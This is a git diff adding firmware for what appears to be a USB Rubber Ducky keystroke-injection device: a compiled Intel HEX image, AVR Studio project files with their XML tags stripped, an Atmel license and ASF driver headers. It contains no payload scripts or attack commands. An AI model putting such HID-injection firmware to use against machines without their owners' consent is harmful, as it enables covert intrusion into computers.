+:105784001402F0091108FE09002F76699969765907 +:105794009959764999497639993976299929761901 +:1057A400991976099909F608002BF8080028E01AD7 +:1057B4000003F40A1104FE0A002F17A9B0A91799CF +:1057C400B0991789B0895EFCF40A1109FE0A002F0A +:1057D40017F9B8F917E9B8E917D9B8D917C9B8C981 +:1057E40017B9B8B917A9B8A91799B8991789B88971 +:1057F4005EFCEBCD40C01899220AB707B326B70761 +:10580400B326B707B326B707B326220ACF742F0AE5 +:10581400C065B707B326B707B326210A5C3AFE0A68 +:10582400003FD703D703F736000EF366000EF736B2 +:10583400000DF366000DF736000CF366000CF73626 +:10584400000BF366000BF736000AF366000AF7361E +:105854000009F3660009F7360008F3660008F73616 +:105864000007F3660007F7360006F3660006F7360E +:105874000005F3660005F7360004F3660004F73606 +:105884000003F3660003F7360002F3660002F736FE +:105894000001F3660001F7360000F3660000E3CD73 +:1058A40080C0201AF60A0709F80A0B09CFB15EFC7A +:105A0000C0080000C0080000C0080000C008000076 +:105A1000C0080000C0080000C0080000C008000066 +:105A2000C0080000C0080000C0080000C008000056 +:105A3000C0080000C0080000C0080000C008000046 +:105A4000C0080000C00800000000000000000000C6 +:105A5000C00800000000000000000000000000007E +:105A6000C00800000000000000000000000000006E +:105A7000C00800000000000000000000000000005E +:105A80000000000000000000000000000000000016 +:105A90000000000000000000000000000000000006 +:105AA00000000000000000000000000000000000F6 +:105AB00000000000000000000000000000000000E6 +:105AC00000000000000000000000000000000000D6 +:105AD00000000000000000000000000000000000C6 +:105AE00000000000000000000000000000000000B6 +:105AF00000000000000000000000000000000000A6 +:105B0000C008D703300CFEB0EF6F580CF80F171019 +:105B1000D603301CFEB0EF68580CF80F1710D603F0 +:105B2000302CFEB0EF61580CF80F1710D603303C44 +:105B3000FEB0EF5A580CF80F1710D603D703D7034F +:105B4000D703D703D703D703D703D703D703D70385 +:105B5000D703D703D703D703D703D703D703D70375 +:105B6000D703D703D703D703D703D703D703D70365 +:105B7000D703D703D703D703D703D703D703D70355 +:105B8000D703D703D703D703D703D703D703D70345 +:105B9000D703D703D703D703D703D703D703D70335 +:105BA000D703D703D703D703D703D703D703D70325 +:105BB000D703D703D703D703D703D703D703D70315 +:105BC000D703D703D703D703D703D703D703D70305 +:105BD000D703D703D703D703D703D703D703D703F5 +:105BE000D703D703D703D703D703D703D703D703E5 +:105BF000D703D703D703D703D703D703D703D703D5 +:105C0000180017000F0019000E0010000F001900F7 +:105C10000E0011000A0009000000000000000080D2 +:105C20000000000000000000000000000000010073 +:105C30000000000100000000000000000020000043 +:105C40000000000200000000000000000040000012 +:105C50000000000600000000800033688000341A55 +:105C60008000341A8000327C8000341A8000341A9C +:105C70008000341A8000341A8000341A8000341AEC +:105C80008000341A8000341A8000341A8000341ADC +:105C90008000341A8000341A8000341A8000341ACC +:105CA000800032A68000341A8000341A8000341A32 +:105CB0008000341A8000341A8000341A8000341AAC +:105CC00080003354800033FA8000341A8000341A84 +:105CD000800033FA8000341A8000341A8000341AAD +:105CE0008000341A8000341A8000341A8000339EF9 +:105CF0008000341A8000341A800034068000341A80 +:105D0000800034108000341A8000341A8000341A65 +:105D10008000341A800033FA8000341A8000341A6C +:105D20008000341A8000341A8000341A8000341A3B +:105D30008000341A8000341A8000341A8000341A2B +:105D40008000341A8000341A8000341A8000341A1B +:105D50008000341A8000341A8000341A8000341A0B +:105D60008000341A8000341A8000341A8000341AFB +:105D70008000341A8000341A8000341A8000341AEB +:105D80008000341A8000341A8000341A8000341ADB +:105D90008000341A8000341A8000341A8000341ACB +:105DA0008000341A8000341A8000341A8000341ABB +:105DB0008000341A8000341A8000341A8000341AAB +:105DC0008000335E00000001000003AC0000000B07 +:105DD000000003B000000006000003DC0000000724 +:105DE000000003F4000000010000041000000001A6 +:105DF0000000041400000001000003740000000112 +:105E000000000378000000000000037C0000000197 +:105E10000000038000000000000003840000000177 +:105E200000000388000000010000038C0000000156 +:105E30000000039000000003000003940000000134 +:105E4000000003A000000000000003A40000000107 +:105E5000000003A8800036248000375C800035F005 +:105E6000800035F2800036F88000369C80005E703D +:105E70002253442F4D4D432043617264206F766559 +:105E800072205350492200003132333132333132E3 +:105E900033313233000000000100000000B71B0066 +:085EA0000800000100010000F0 +:105EA8000000003000000010000000580000001C36 +:105EB800000000081201000200000040EB03032468 +:105EC8000001010203010000090220000101008015 +:105ED800320904000002080650000705810240004C +:105EE80000070502024000000000000F010000004A +:105EF80080003560800035488000349C80002CD8B4 +:105F080000000000008003021F00000041544D45BE +:105F18004C202020000000000000000000000000CD +:105F280000000000312E303055534253000000006D +:105F38000000000000000000010000004475636BD1 +:105F480079204D6173732053746F72616765000027 +:105F58004156523332204475636B790000030000C8 +:105F68000000000000000000000000000000000029 +:105F78000000000000000000000000000000000019 +:085F88000000000004030904FD +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config new file mode 100755 index 0000000..ba75d13 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config @@ -0,0 +1,98 @@ + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln new file mode 100755 index 0000000..51532b7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# AvrStudio Solution File, Format Version 11.00 +Project("{54F91283-7BC4-4236-8FF9-10F437C3AD48}") = "duck", "duck.cproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AVR = Debug|AVR + Release|AVR = Release|AVR + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo new file mode 100755 index 0000000..7f5dc2a Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj new file mode 100755 index 0000000..f3f41c2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj @@ -0,0 +1,567 @@ + ++ + + + + + + + + ++ ++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln new file mode 100755 index 0000000..b4b3c40 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# AvrStudio Solution File, Format Version 11.00 +Project("{D1100916-62DA-4D80-A9B4-55A1E7CCEEB3}") = "duck", "duck.avrgccproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AVR = Debug|AVR + Release|AVR = Release|AVR + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR + {FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo new file mode 100755 index 0000000..4536ea1 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj new file mode 100755 index 0000000..5960908 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj @@ -0,0 +1,649 @@ + ++ +2.0 +5.0 +fee31e0f-40f4-11e0-93cf-000c29a22d21 +AT32UC3B0256 +uc3b +$(MSBuildProjectName).elf +$(MSBuildProjectDirectory)\$(Configuration) ++ $(MSBuildProjectName) +$(MSBuildProjectName) +$(MSBuildProjectName) +Executable +C +com.Atmel.AVRGCC32 +True ++ ++ ++ ++ ++ +BOARD=EVK1101 ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/drivers/usart +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/debug +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi +Optimize for size (-Os) +-fdata-sections +True +True +-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax +True +True +-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/drivers/usart +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/debug +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/drivers/usart +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/debug +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +True ++ ++ ++ ++ ++ +BOARD=EVK1101 ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/drivers/usart +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/debug +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi +Optimize (-O1) +-fdata-sections +True +Maximum (-g3) +True +-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax +True +True +-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/drivers/usart +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/debug +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/drivers/usart +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/debug +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device ++ ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ ++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt new file mode 100755 index 0000000..11194ac --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt @@ -0,0 +1,34 @@ +/** + * Main file of the USB mass-storage example. + * + * Copyright (c) 2009-2012 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + * + */ \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h new file mode 100755 index 0000000..9f340b3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h @@ -0,0 +1,102 @@ +/** + * \file + * + * \brief Autogenerated API include file for the AVR Software Framework (ASF) + * + * Copyright (C) 2011 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef ASF_H +#define ASF_H + +/* + * This file includes all API header files for the selected drivers from ASF. + * Note: There might be duplicate includes required by more than one driver. + * + * The file is automatically generated and will be re-written when + * running the ASF driver selector tool. Any changes will be discarded. + */ + +// From module: CPU - Interrupt management +#include+ +2.0 +5.1 +fee31e0f-40f4-11e0-93cf-000c29a22d21 +AT32UC3B0256 +uc3b +$(MSBuildProjectDirectory)\$(Configuration) ++ $(MSBuildProjectName) +$(MSBuildProjectName) +$(MSBuildProjectName) +Executable +C +com.Atmel.AVRGCC32 +Native ++ + ++ ++ + + + + + + + ++ ++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 2.5.1 ++ +duck +.elf ++ ++ ++ ++ +BOARD=EVK1101 ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi +Optimize for size (-Os) +-fdata-sections +True +True +-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax +True ++ ++ +m +True +-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device ++ +duck +.elf ++ ++ ++ ++ +BOARD=EVK1101 ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi +Optimize (-O1) +-fdata-sections +True +Maximum (-g3) +True +-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax +True ++ ++ +m +True +-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device +-mrelax ++ ++ +../src +../src/asf/avr32/boards +../src/asf/avr32/boards/evk1101 +../src/asf/avr32/drivers/flashc +../src/asf/avr32/drivers/gpio +../src/asf/avr32/drivers/intc +../src/asf/avr32/drivers/pm +../src/asf/avr32/drivers/spi +../src/asf/avr32/services/fs/fat +../src/asf/avr32/services/fs/fat/fat_example +../src/asf/avr32/utils +../src/asf/avr32/utils/preprocessor +../src/asf/common/boards +../src/asf/common/services/storage/ctrl_access +../src/asf/common/utils +../src/config +../src/asf/avr32/drivers/usbb +../src/asf/common/services/sleepmgr +../src/asf/common/services/clock +../src/asf/common/services/usb +../src/asf/common/services/usb/udc +../src/asf/common/services/usb/class/hid +../src/asf/common/services/usb/class/hid/device/kbd +../src/asf/common/services/usb/class/hid/device ++ ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ +compile ++ ++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +// From module: CPU - PM - Power Manager +#include +#include + +// From module: CPU - SLEEP - Sleep manager +#include +#include + +// From module: FAT file system +#include +#include +#include +#include + +// From module: GPIO - General-Purpose Input/Output +#include + +// From module: MEMORY - FLASHC - Flash Controller +#include + +// From module: MEMORY - Memory Control Access +#include + +// From module: SPI - Serial Peripheral Interface +#include + +// From module: TIMING - Clock Control +#include + +// From module: USB Device Stack Core +#include +#include + +// From module: USB HID Device protocol +#include + +// From module: USB HID Keyboard (Single Interface Device) +#include + +// From module: USB HID Library (Device) +#include + +// From module: UTILITY - Compiler abstraction layer and code utilities +#include +#include + +// From module: UTILITY - Generic board support +#include + +#endif // ASF_H diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h new file mode 100755 index 0000000..4956f20 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h @@ -0,0 +1,290 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board header file. + * + * This file contains definitions and services related to the features of the + * EVK1101 board rev. A and B. + * + * To use this board, define BOARD=EVK1101. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and 